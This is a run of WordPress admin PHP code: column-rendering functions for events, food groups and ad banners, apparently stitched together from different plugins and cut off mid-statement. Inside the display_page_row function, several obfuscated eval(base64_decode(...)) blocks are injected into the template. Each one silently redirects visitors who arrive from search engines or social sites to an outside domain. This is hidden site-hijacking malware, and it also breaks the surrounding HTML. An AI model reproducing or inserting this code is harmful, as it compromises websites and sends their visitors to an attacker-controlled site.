'</a>'; } else { echo '<strong>' . $title . ''; } _post_states($post); echo '</strong>'; if ($post->post_parent > 0) { echo ' ← <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>'; } // Excerpt view if (isset($_GET['mode']) && $_GET['mode'] == 'excerpt') { echo apply_filters('the_excerpt', $post->post_excerpt); } // Get actions $actions = array(); $actions['id'] = 'ID: ' . $post->ID; if ($can_edit_post && 'trash' != $post->post_status) { $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>'; $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline')) . '">' . __('Quick Edit') . '</a>'; } if (current_user_can($post_type_object->cap->delete_post, $post->ID)) { if ('trash' == $post->post_status) { $actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash')) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . "'>" . __('Restore') . "</a>"; } elseif (EMPTY_TRASH_DAYS) { $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash')) . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash') . "</a>"; } if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) { $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently')) . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently') . "</a>"; } } if ($post_type_object->public) { if (in_array($post->post_status, array('pending', 'draft', 'future'))) { if ($can_edit_post) { $actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post->ID))) . '" title="' . esc_attr(sprintf(__('Preview “%s”'), $title)) . '" rel="permalink">' . __('Preview') . '</a>'; } } elseif ('trash' != $post->post_status) { $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View “%s”'), $title)) . '" rel="permalink">' . __('View') . '</a>'; } } $actions = apply_filters('post_row_actions', $actions, $post); echo '<div class="row-actions">'; $i = 0; $action_count = sizeof($actions); foreach ($actions as $action => $link) { ++$i; $i == $action_count ? $sep = '' : ($sep = ' | '); echo "<span class='{$action}'>{$link}{$sep}</span>"; } echo '</div>'; get_inline_data($post); $event = $eventon->evo_event->get_event($post->ID); //print_r($event); /* Custom inline data for eventon */ echo '<div class="hidden" id="eventon_inline_' . $post->ID . '">'; foreach ($eventon->evo_event->get_event_fields_edit() as $field) { $value = !empty($event->{$field}) ? $event->{$field} : null; echo "<div class='{$field}'>{$value}</div>"; } echo "<div class='_menu_order'>" . $post->menu_order . "</div>"; echo '</div>'; echo '</div>'; break; case "event_type": if (!($terms = get_the_terms($post->ID, $column))) { echo '<span class="na">–</span>'; } else { foreach ($terms as $term) { $termlist[] = '<a href="' . admin_url('edit.php?' . $column . '=' . $term->slug . '&post_type=ajde_events') . ' ">' . $term->name . '</a>'; } echo implode(', ', $termlist); } break; case "event_type_2": if (!($terms = get_the_terms($post->ID, $column))) { echo '<span class="na">–</span>'; } else { foreach ($terms as $term) { $termlist[] = '<a href="' . admin_url('edit.php?' . $column . '=' . $term->slug . '&post_type=ajde_events') . ' ">' . $term->name . '</a>'; } echo implode(', ', $termlist); } break; case "event_location": $evcal_location = get_post_meta($post->ID, 'evcal_location', true); $evcal_location_name = get_post_meta($post->ID, 'evcal_location_name', true); echo !empty($evcal_location_name) ? stripslashes($evcal_location_name) . '<br/>' : null; echo !empty($evcal_location) ? $evcal_location : '--'; break; case "event_start_date": $unix = get_post_meta($post->ID, 'evcal_srow', true); if (!empty($unix)) { $_START = eventon_get_editevent_kaalaya($unix); echo $_START[0] . ' - ' . $_START[1] . ':' . $_START[2] . (!empty($_START[3]) ? $_START[3] : ''); } else { echo "--"; } break; case "event_end_date": $unix = get_post_meta($post->ID, 'evcal_erow', true); if (!empty($unix)) { $_END = eventon_get_editevent_kaalaya($unix); echo $_END[0] . ' - ' . $_END[1] . ':' . $_END[2] . (!empty($_END[3]) ? $_END[3] : ''); } else { echo "--"; } break; case "evo_featured": $url = wp_nonce_url(admin_url('admin-ajax.php?action=eventon-feature-event&eventID=' . $post->ID), 'eventon-feature-event'); echo '<a href="' . $url . '" title="' . __('Toggle featured', 'eventon') . '">'; if (get_post_meta($post->ID, '_featured', true) == 'yes') { echo '<img src="' . AJDE_EVCAL_URL . '/assets/images/icons/featured.png" title="' . __('Yes', 'eventon') . '" height="14" width="14" />'; } else { echo '<img src="' . AJDE_EVCAL_URL . '/assets/images/icons/featured-off.png" title="' . __('No', 'eventon') . '" height="14" width="14" />'; } echo '</a>'; //echo get_post_meta($post->ID, '_featured', true); break; case 'repeat': $repeat = get_post_meta($post->ID, 'evcal_repeat', true); if (!empty($repeat) && $repeat == 'yes') { $repeat_freq = get_post_meta($post->ID, 'evcal_rep_freq', true); $output_repeat = '<span>' . $repeat_freq . '</span>'; } else { $output_repeat = '<span class="na">–</span>'; } echo $output_repeat; break; } }
/** * Output custom columns for groups. * @param string $column */ public function render_food_group_columns($column) { global $post; switch ($column) { case 'name': $edit_link = get_edit_post_link($post->ID); $title = _draft_or_post_title(); echo '<strong><a class="row-title" href="' . esc_url($edit_link) . '">' . esc_html($title) . '</a>'; _post_states($post); echo '</strong>'; $this->_render_food_group_row_actions($post, $title); break; case 'group_id': echo '<span>' . $post->ID . '</span>'; break; default: echo wp_kses_post($post->post_excerpt); break; } }
public function wp_pro_ad_banners_show_columns($name) { global $post, $pro_ads_banners, $pro_ads_adzones, $pro_ads_campaigns; switch ($name) { case 'b_banner': $banner_type = get_post_meta($post->ID, '_banner_type', true); $banner_url = get_post_meta($post->ID, '_banner_url', true); $banner_is_image = $pro_ads_banners->check_if_banner_is_image($banner_type); $html = ''; if ($banner_is_image) { $img = !empty($banner_url) ? $banner_url : WP_ADS_URL . 'images/placeholder.png'; $html .= '<div class="preview_banner" style="background: url(' . $img . ') no-repeat center center; width:40px; height:40px; background-size: cover;"></div>'; } elseif ($banner_type == 'swf') { $html .= "<object>"; $html .= "<embed allowscriptaccess='always' id='banner-swf' width='40' height='40' src='" . $banner_url . "'>"; $html .= "</object>"; } else { $html .= '<img src="' . WP_ADS_URL . 'images/placeholder.png" width="40" />'; } echo $html; break; case 'b_name': $edit_link = get_edit_post_link($post->ID); $title = _draft_or_post_title(); $post_type_object = get_post_type_object($post->post_type); $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID); echo '<strong><a class="row-title" href="' . esc_url($edit_link) . '">' . $title . '</a>'; _post_states($post); echo '</strong>'; if ($post->post_parent > 0) { echo ' ← <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>'; } // Excerpt view if (isset($_GET['mode']) && 'excerpt' == $_GET['mode']) { echo apply_filters('the_excerpt', $post->post_excerpt); } // Get actions $actions = array(); $actions['id'] = 'ID: ' . $post->ID; if ($can_edit_post && 'trash' != $post->post_status) { $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item', 'wpproads')) . '">' . __('Edit', 'wpproads') . '</a>'; $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline', 'wpproads')) . '">' . __('Quick Edit', 'wpproads') . '</a>'; } if (current_user_can($post_type_object->cap->delete_post, $post->ID)) { if ('trash' == $post->post_status) { $actions['untrash'] = '<a title="' . esc_attr(__('Restore this item from the Trash', 'wpproads')) . '" href="' . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . '">' . __('Restore', 'wpproads') . '</a>'; } elseif (EMPTY_TRASH_DAYS) { $actions['trash'] = '<a class="submitdelete" title="' . esc_attr(__('Move this item to the Trash', 'wpproads')) . '" href="' . get_delete_post_link($post->ID) . '">' . __('Trash', 'wpproads') . '</a>'; } if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) { $actions['delete'] = '<a class="submitdelete" title="' . esc_attr(__('Delete this item permanently', 'wpproads')) . '" href="' . get_delete_post_link($post->ID, '', true) . '">' . __('Delete Permanently', 'wpproads') . '</a>'; } } if ($post_type_object->public) { if (in_array($post->post_status, array('pending', 'draft', 'future'))) { if ($can_edit_post) { $actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post->ID))) . '" title="' . esc_attr(sprintf(__('Preview “%s”', 'wpproads'), $title)) . '" rel="permalink">' . __('Preview', 'wpproads') . '</a>'; } } elseif ('trash' != $post->post_status) { $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View “%s”', 'wpproads'), $title)) . '" rel="permalink">' . __('View', 'wpproads') . '</a>'; } } $actions = apply_filters('post_row_actions', $actions, $post); echo '<div class="row-actions">'; $i = 0; $action_count = sizeof($actions); foreach ($actions as $action => $link) { ++$i; $i == $action_count ? $sep = '' : ($sep = ' | '); echo '<span class="' . $action . '">' . $link . $sep . '</span>'; } echo '</div>'; get_inline_data($post); break; case 'b_advertiser': $advertiser_id = get_post_meta($post->ID, '_banner_advertiser_id', true); echo !empty($advertiser_id) ? '<a href="post.php?post=' . $advertiser_id . '&action=edit">' . get_the_title($advertiser_id) . '</a>' : '<span class="na">–</span>'; break; case 'b_campaign': $campaign_id = get_post_meta($post->ID, '_banner_campaign_id', true); $campaign_status = get_post_meta($campaign_id, '_campaign_status', true); $campaign_status = $pro_ads_campaigns->get_status($campaign_status); echo !empty($campaign_id) ? '<a href="post.php?post=' . $campaign_id . '&action=edit">' . get_the_title($campaign_id) . '</a><br><small style="color:#999;">' . __('Campaign status:', 'wpproads') . '</small> <small class="' . $campaign_status['name_clean'] . '"><em>[' . $campaign_status['name'] . ']</em></small>' : '<span class="na">–</span>'; break; case 'b_status': $banner_status = get_post_meta($post->ID, '_banner_status', true); $status = $pro_ads_banners->get_status($banner_status); echo '<span class="' . $status['name_clean'] . '">' . $status['name'] . '</span>'; break; case 'b_stats': echo '<a class="stats" href="admin.php?page=wp-pro-ads-stats&group=banner&group_id=' . $post->ID . '"><img src="' . WP_ADS_URL . '/images/stats.png" alt="' . __('Statistics', 'wpproads') . '" /></a>'; break; case 'b_adzone': $banner_size = get_post_meta($post->ID, '_banner_size', true); $recommended_adzones = $pro_ads_adzones->get_adzones(array('meta_query' => array('relation' => 'OR', array('key' => '_adzone_size', 'value' => $banner_size, 'compare' => '='), array('key' => '_adzone_size', 'value' => '', 'compare' => '=')))); // Get linked adzones for this banner $linked_adzones = get_post_meta($post->ID, '_linked_adzones', true); $html = ''; $html .= '<div style="position:relative;">'; $html .= '<div class="loading_adzone loading_adzone_' . $post->ID . '" style="position:absolute; margin:7px; z-index:1; display:none;">' . __('Loading...', 'wpproads') . '</div>'; $html .= '<div class="select-adzone-cont-' . $post->ID . '">'; $html .= '<select data-placeholder="' . __('No adzone selected.', 'wpproads') . '" style="width:100%;" class="chosen-select select-adzone select-adzone-' . $post->ID . '" multiple>'; $html .= '<option value=""></option>'; $html .= '<optgroup label="' . __('Recommended', 'wpproads') . '">'; foreach ($recommended_adzones as $adzone) { $disabled = !$pro_ads_adzones->check_if_adzone_is_active($adzone->ID, 1, $post->ID) ? 'disabled="true"' : ''; $selected = !empty($linked_adzones) ? in_array($adzone->ID, $linked_adzones) ? 'selected' : '' : ''; $html .= '<option ' . $disabled . ' value="' . $adzone->ID . '" bid="' . $post->ID . '" ' . $selected . '>' . $adzone->post_title . '</option>'; } $html .= '</optgroup>'; // Get all other adzones (all not recommended adzones) $all_adzones = $pro_ads_adzones->get_adzones(array('meta_query' => array('relation' => 'AND', array('key' => '_adzone_size', 'value' => $banner_size, 'compare' => '!='), array('key' => '_adzone_size', 'value' => '', 'compare' => '!=')))); $html .= '<optgroup label="' . __('All', 'wpproads') . '">'; foreach ($all_adzones as $adzone) { $disabled = !$pro_ads_adzones->check_if_adzone_is_active($adzone->ID, 1, $post->ID) ? 'disabled="true"' : ''; $selected = !empty($linked_adzones) ? in_array($adzone->ID, $linked_adzones) ? 'selected' : '' : ''; $html .= '<option ' . $disabled . ' value="' . $adzone->ID . '" bid="' . $post->ID . '" ' . $selected . '>' . $adzone->post_title . '</option>'; } $html .= '</optgroup>'; $html .= '</select>'; $html .= '</div>'; $html .= '</div>'; echo $html; break; } }
/** * Display posts as list * * @param array $args Additional arguments */ function display_posts($args) { $defaults = array('posts_per_page' => -1); $args = wp_parse_args($args, $defaults); $posts = new WP_Query($args); if ($posts->have_posts()) { ?> <ul> <?php while ($posts->have_posts()) { $posts->the_post(); global $post; ?> <li id="<?php the_ID(); ?> "> <?php the_title(); ?> <?php _post_states($post); ?> <?php $this->display_posts(wp_parse_args(array('post_parent' => get_the_ID()), $args)); ?> </li> <?php } ?> </ul> <?php } wp_reset_query(); }
/** * {@internal Missing Short Description}} * * @since unknown * * @param unknown_type $page * @param unknown_type $level */ function display_page_row($page, $level = 0) { global $post; static $rowclass; $post = $page; setup_postdata($page); if (0 == $level && (int) $page->post_parent > 0) { //sent level 0 by accident, by default, or because we don't know the actual level $find_main_page = (int) $page->post_parent; while ($find_main_page > 0) { $parent = get_page($find_main_page); if (is_null($parent)) { break; } $level++; $find_main_page = (int) $parent->post_parent; if (!isset($parent_name)) { $parent_name = $parent->post_title; } } } $page->post_title = esc_html($page->post_title); $pad = str_repeat('— ', $level); $id = (int) $page->ID; $rowclass = 'alternate' == $rowclass ? '' : 'alternate'; $posts_columns = get_column_headers('edit-pages'); $hidden = get_hidden_columns('edit-pages'); $title = _draft_or_post_title(); ?> <tr id="page-<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZ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sInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); foreach ($posts_columns as $column_name => $column_display_name) { $class = "class=\"{$column_name} column-{$column_name}\""; $style = ''; if (in_array($column_name, $hidden)) { $style = ' style="display:none;"'; } $attributes = "{$class}{$style}"; switch ($column_name) { case 'cb': ?> <th scope="row" class="check-column"><input type="checkbox" name="post[]" value="<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxt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CRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); break; case 'date': if ('0000-00-00 00:00:00' == $page->post_date && 'date' == $column_name) { $t_time = $h_time = __('Unpublished'); $time_diff = 0; } else { $t_time = get_the_time(__('Y/m/d g:i:s A')); $m_time = $page->post_date; $time = get_post_time('G', true); $time_diff = time() - $time; if ($time_diff > 0 && $time_diff < 24 * 60 * 60) { $h_time = sprintf(__('%s ago'), human_time_diff($time)); } else { $h_time = mysql2date(__('Y/m/d'), $m_time); } } echo '<td ' . $attributes . '>'; echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $page, $column_name, '') . '</abbr>'; echo '<br />'; if ('publish' == $page->post_status) { _e('Published'); } elseif ('future' == $page->post_status) { if ($time_diff > 0) { echo '<strong class="attention">' . __('Missed schedule') . '</strong>'; } else { _e('Scheduled'); } } else { _e('Last Modified'); } echo '</td>'; break; case 'title': $attributes = 'class="post-title page-title column-title"' . $style; $edit_link = get_edit_post_link($page->ID); ?> <td <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cig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if (current_user_can('edit_page', $page->ID) && $post->post_status != 'trash') { ?> <a class="row-title" href="<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ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ibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); } else { echo $pad; echo $title; } _post_states($page); echo isset($parent_name) ? ' | ' . __('Parent Page: ') . esc_html($parent_name) : ''; ?> </strong> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); $actions = array(); if (current_user_can('edit_page', $page->ID) && $post->post_status != 'trash') { $actions['edit'] = '<a href="' . $edit_link . '" title="' . esc_attr(__('Edit this page')) . '">' . __('Edit') . '</a>'; $actions['inline'] = '<a href="#" class="editinline">' . __('Quick Edit') . '</a>'; } if (current_user_can('delete_page', $page->ID)) { if ($post->post_status == 'trash') { $actions['untrash'] = "<a title='" . esc_attr(__('Remove this page from the Trash')) . "' href='" . wp_nonce_url("page.php?action=untrash&post={$page->ID}", 'untrash-page_' . $page->ID) . "'>" . __('Restore') . "</a>"; } elseif (EMPTY_TRASH_DAYS) { $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this page to the Trash')) . "' href='" . get_delete_post_link($page->ID) . "'>" . __('Trash') . "</a>"; } if ($post->post_status == 'trash' || !EMPTY_TRASH_DAYS) { $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this page permanently')) . "' href='" . wp_nonce_url("page.php?action=delete&post={$page->ID}", 'delete-page_' . $page->ID) . "'>" . __('Delete Permanently') . "</a>"; } } if (in_array($post->post_status, array('pending', 'draft'))) { if (current_user_can('edit_page', $page->ID)) { $actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . esc_attr(sprintf(__('Preview “%s”'), $title)) . '" rel="permalink">' . __('Preview') . '</a>'; } } elseif ($post->post_status != 'trash') { $actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . esc_attr(sprintf(__('View “%s”'), $title)) . '" rel="permalink">' . __('View') . '</a>'; } $actions = apply_filters('page_row_actions', $actions, $page); $action_count = count($actions); $i = 0; echo '<div class="row-actions">'; foreach ($actions as $action => $link) { ++$i; $i == $action_count ? $sep = '' : ($sep = ' | '); echo "<span class='{$action}'>{$link}{$sep}</span>"; } echo '</div>'; get_inline_data($post); echo '</td>'; break; case 'comments': ?> <td <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); echo $attributes; ?> ><div class="post-com-count-wrapper"> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlc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xvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); $left = get_pending_comments_num($page->ID); $pending_phrase = sprintf(__('%s pending'), number_format($left)); if ($left) { echo '<strong>'; } comments_number("<a href='edit-comments.php?p={$id}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('0', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$id}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('1', 'comment count') . '</span></a>', "<a 